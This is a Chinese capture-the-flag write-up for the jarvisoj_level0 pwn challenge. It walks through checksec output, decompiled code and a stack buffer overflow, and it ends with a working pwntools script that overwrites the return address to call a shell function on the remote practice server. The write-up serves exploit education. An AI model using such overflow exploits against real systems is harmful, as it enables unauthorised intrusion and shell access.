jarvisoj_level0


  1. checksec jarvisoj_level0

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

  1. 拖进IDA64,找到main()反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

因此关键在vulnerable_function()

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}
  1. 利用read()实现栈溢出,因为buf的范围在[rsp+0h] [rbp-80h],再加上rbp的8字节,所以需覆盖"a"*(0x80+8)后到达返回地址。同时发现有个函数callsystem()可以获得shell
  2. 所以payload后加上该函数的地址0x400596
  3. 完整代码如下
from pwn import *

p = remote('node3.buuoj.cn', 29317)

payload = 'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()
  1. 运行后,ls cat flag即可


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM